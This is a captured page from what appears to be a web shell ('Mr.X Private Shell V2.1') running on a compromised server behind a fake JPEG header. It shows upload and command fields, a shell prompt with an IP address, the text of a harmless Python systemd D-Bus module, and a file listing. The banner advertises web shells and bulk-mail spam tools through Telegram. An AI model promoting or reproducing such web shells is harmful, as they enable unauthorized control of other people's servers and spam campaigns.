����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# SystemdUnit.py
# Module for getting data from Systemd about Units

# Copyright (C) 2017 Sean O'Keeffe
#
# This copyrighted material is made available to anyone wishing to use,
# modify, copy, or redistribute it subject to the terms and conditions of
# the GNU General Public License v.2, or (at your option) any later version.
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY expressed or implied, including the implied warranties of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General
# Public License for more details.  You should have received a copy of the
# GNU General Public License along with this program; if not, write to the
# Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
# 02110-1301, USA.
#

import dbus

class SystemdDbus(object):
	def __init__(self):
		self.__systemd = dbus.SystemBus().get_object('org.freedesktop.systemd1','/org/freedesktop/systemd1')
		self.__manager = dbus.Interface(self.__systemd, dbus_interface='org.freedesktop.systemd1.Manager')

	def unit_path_from_pid(self, pid):
		try:
			return self.__manager.GetUnitByPID(pid)
		except dbus.exceptions.DBusException:
			return False

	def unit_path_from_id(self, Id):
		try:
			return self.__manager.GetUnit(Id)
		except dbus.exceptions.DBusException:
			return False

	def has_service_property_from_pid(self, pid, attr):
		try:
			unit = self.unit_path_from_pid(pid)
			if not unit:
				return False

			proxy = dbus.SystemBus().get_object('org.freedesktop.systemd1', unit)
			propty = proxy.Get('org.freedesktop.systemd1.Service', attr, dbus_interface='org.freedesktop.DBus.Properties')
		except dbus.exceptions.DBusException:
			return False
		return bool(propty)

	def get_unit_property_from_pid(self, pid, attr):
		unit_path = self.unit_path_from_pid(pid)
		if bool(unit_path):
			proxy = dbus.SystemBus().get_object('org.freedesktop.systemd1', self.unit_path_from_pid(pid))
			return proxy.Get('org.freedesktop.systemd1.Unit', attr, dbus_interface='org.freedesktop.DBus.Properties')
		else:
			return False

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
FilenameCleaner.py File 3.18 KB 0644
PackageManager.py File 2.71 KB 0644
SystemdDbus.py File 2.04 KB 0644
__init__.py File 0 B 0644
applications.py File 8.95 KB 0644
args_parser.py File 3.42 KB 0644
collections.py File 4.05 KB 0644
exceptions.py File 2.44 KB 0644
lang.py File 1.27 KB 0644
memory.py File 1.37 KB 0644
package.py File 1.57 KB 0644
processes.py File 8.86 KB 0644
pycomp.py File 1.48 KB 0644
router.py File 1.79 KB 0644
rules.py File 3.23 KB 0644
system.py File 4.65 KB 0644
tracer.py File 7.18 KB 0644